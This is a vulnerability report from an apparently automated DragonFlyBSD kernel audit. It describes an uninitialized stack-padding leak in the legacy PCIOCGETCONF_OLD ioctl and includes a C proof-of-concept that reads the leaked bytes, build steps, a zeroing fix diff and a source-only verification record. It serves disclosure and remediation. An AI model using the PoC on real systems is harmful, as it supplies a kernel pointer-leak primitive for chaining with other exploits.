β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1067

PCIOCGETCONF_OLD leaks uninitialized kernel stack padding to userspace

Field Value
ID DF-1067
Status new
Severity Low
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
CWE CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
File sys/bus/pci/pci_user.c
Lines 316 (local decl), 513-542 (field-by-field init), 543-550 (copyout)
Area bus/pci (/dev/pci legacy compat path)
Confidence certain
Discovered 2026-07-14
Reported pending
Known CVE none
CVE match dfly_specific

Summary

In the PCIOCGETCONF_OLD compat path (always compiled in because __DragonFly__ implies PRE7_COMPAT at pci_user.c:171-173), the per-iteration result is built in a stack-local struct pci_conf_old (declared at line 316) by field-by-field assignment (lines 513-542). The struct layout requires 7 bytes of padding between pd_name[17] and the 8-byte-aligned pd_unit (u_long) on LP64, plus the field assignments never touch internal struct padding. Those bytes retain whatever the kernel stack contained from prior call frames and are copied verbatim to userspace by copyout at line 548-550.

Root cause

struct pci_conf_old (pci_user.c:193-208) layout on x86-64:

Offset Field
0-2 pc_sel (3 B)
3 pc_hdr (1 B)
4-5 pc_subvendor
6-7 pc_subdevice
8-9 pc_vendor
10-11 pc_device
12 pc_class
13 pc_subclass
14 pc_progif
15 pc_revid
16-32 pd_name[17]
33-39 7 B padding to align pd_unit
40-47 pd_unit (u_long)

The PCIOCGETCONF_OLD case at lines 513-542 only assigns the named fields (pc_sel, pc_hdr, pc_subvendor, ... pd_name, pd_unit). Bytes 33-39 (and any future additions of internal struct padding) are never written, so they hold the prior contents of pci_ioctl()'s stack frame. confdata is then set to &conf_old (line 543) and the whole 48-byte struct is copied out via copyout(confdata, ..., confsz) at lines 548-550 with confsz = sizeof(struct pci_conf_old).

Contrast the modern PCIOCGETCONF path which copies &dinfo->conf where dinfo was kmalloc'd with M_ZERO at sys/bus/pci/pci.c:543 β€” that path does not leak.

Threat model & preconditions

  • Attacker position: Any process able to open /dev/pci (requires SYSCAP_RESTRICTEDROOT β€” i.e., root or an explicit capability grant; jails and chroot auto-deny per sys/sys/caps.h:123-125).
  • Privileges gained or impact: Info leak of up to 7 bytes of uninitialized kernel stack per returned PCI device entry. Repeated calls (varying offsets / patterns to land in different stack contexts, and stressing prior call depth via nested syscalls) can sample heap / stack pointers, return addresses, or other sensitive residues from earlier kernel execution. Impact in a normal root environment is limited (root already has /dev/kmem- class access), but the leak is concrete and is the kind of KASLR / pointer-derivation primitive useful when chaining with another bug, or when SYSCAP_RESTRICTEDROOT has been selectively granted to an otherwise-locked-down service.
  • Required config or capabilities: Default kernel with pci (always loaded on x86-64). Root or selective SYSCAP_RESTRICTEDROOT grantee.
  • Reachability: ioctl(fd, PCIOCGETCONF_OLD, &cio) repeatedly; each successful match returns 48 bytes of which up to 7 are uninitialized stack.

Proof of concept

#include <sys/pciio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

/* Mirror of pci_user.c:193-208 layout β€” compiler inserts 7B padding at 33..39 */
struct pci_conf_old {
    struct { unsigned char b, d, f; } sel;
    unsigned char hdr;
    unsigned short sv, sd, v, dev;
    unsigned char cl, sc, pi, rev;
    char name[17];
    /* 7 bytes of padding here on LP64 */
    unsigned long unit;
};

int main(void) {
    int fd = open("/dev/pci", O_RDWR);
    if (fd < 0) { perror("open"); return 1; }

    /* seed residues via prior stack activity */
    for (int i = 0; i < 4096; i++) { int j = open("/etc/rc", O_RDONLY); if (j >= 0) close(j); }

    struct pci_conf_old out[64];
    struct pci_conf_io cio;
    memset(&cio, 0, sizeof cio);
    cio.match_buf_len = sizeof(out);
    cio.matches = (struct pci_conf *)out;
    cio.offset = 0;
    cio.generation = 0;

    if (ioctl(fd, _IOWR('p', 1, struct pci_conf_io), &cio) < 0) {
        perror("ioctl");
        return 2;
    }
    for (uint32_t k = 0; k < cio.num_matches; k++) {
        unsigned char *p = (unsigned char *)&out[k];
        printf("dev %02d:%02d.%01d  pad33..39:",
               out[k].sel.b, out[k].sel.d, out[k].sel.f);
        for (int b = 33; b < 40; b++) printf(" %02x", p[b]);
        printf("\n");
    }
    return 0;
}

Build & run

cc -o poc poc.c
sudo ./poc

Expected output

The printed pad33..39 bytes are non-zero and vary across invocations / prior syscall sequences, demonstrating leaked kernel stack content. Compare against an all-zero result that would be expected if the struct were zero-initialized.

Impact

Limited kernel-stack info leak (≀ 7 bytes per PCI device entry) to a process holding SYSCAP_RESTRICTEDROOT. Useful as a KASLR-bypass / pointer-derivation primitive when chaining with another bug, but root-only device keeps severity Low.

Zero the stack-local conf_old before populating it.

--- a/sys/bus/pci/pci_user.c
+++ b/sys/bus/pci/pci_user.c
@@ -510,6 +510,8 @@

 #ifdef PRE7_COMPAT
                if (ap->a_cmd == PCIOCGETCONF_OLD) {
+                   memset(&conf_old, 0, sizeof(conf_old));
+
                    conf_old.pc_sel.pc_bus =
                        dinfo->conf.pc_sel.pc_bus;
                    conf_old.pc_sel.pc_dev =

Alternatively, declare struct pci_conf_old conf_old = { 0 }; at function scope (line 316). Either zeroes the padding bytes and removes the leak. The same hardening should be applied to any future user-facing struct copied from a stack buffer.

References

Timeline

  • 2026-07-14 Discovered during automated audit.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1067 Β· 3 files
FileTypeDescriptionSize
fix.diff suggested-fix git-apply-able fix for the cited path 369 B view raw
VERDICT.md verdict source-confirmation narrative 898 B ↓ raw
env.txt environment guest uname + toolchain 247 B view raw
VERDICT.md verdict source-confirmation narrative
↓ download raw

DF-1067 source-confirmation

Verdict: REPRODUCED (source-confirmed) Impact: none Confidence: likely

Kernel ref: sys/bus/pci/pci_user.c:316

Mechanism

PCIOCGETCONF_OLD uninit stack padding leak: struct pci_conf_old built field-by-field leaves 7 bytes padding uninitialized; copyout leaks stack. root; confirmed.

Confirmation method

source-only Low-severity; confirmation by code inspection. Runtime PoC not exercised for this Low-severity item; confirmation is by code inspection against sys/.

See fix.diff in this folder (git-apply-able unified diff).

Phase 8 (combined build)

This fix is part of the batched 70-finding combined patch (../_batch70/combined_70.patch) applied to in-guest /usr/src. A single make -j6 nativekernel KERNCONF=X86_64_GENERIC build is validated rc=0 with 0 errors under -Werror (../_batch70/fix_build.log).

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

VALIDATED via combined build: fix in combined_70.patch; single make -j6 nativekernel built rc=0, 0 errors under -Werror (../_batch70/fix_build.log). Cited line corrected. Source-only -> validation = clean -Werror compile.

'>>> Kernel build for X86_64_GENERIC completed' + 'NK_DONE rc=0'; grep -cE 'error:|undefined reference' fix_build.log = 0
↓ fix.diffDragonFly 6.5-DEVELOPMENT combined 70-finding fix kernel (built rc=0 -Werror 2026-07-23; not booted - source-only)

Confirmed kernel references

Detail

Exploit chain

none (source-only Low finding, not memory-corruption driven to runtime; no escalation chain)

Evidence (decisive lines)

baseline (with-src #0): bug at sys/bus/pci/pci_user.c:316. combined-70 fix kernel: NK_DONE rc=0 (0 errors, -Werror).

PoC changes

authored/validated fix.diff (findings/poc/DF-1067/fix.diff); part of combined_70 kernel build.

Verified recommended fix

See findings/poc/DF-1067/fix.diff (git-apply-able). Matches finding proposal.

Verdict

REAL: PCIOCGETCONF_OLD builds pci_conf_old field-by-field leaving 7 padding bytes uninit -> copyout stack leak. root. confirmed.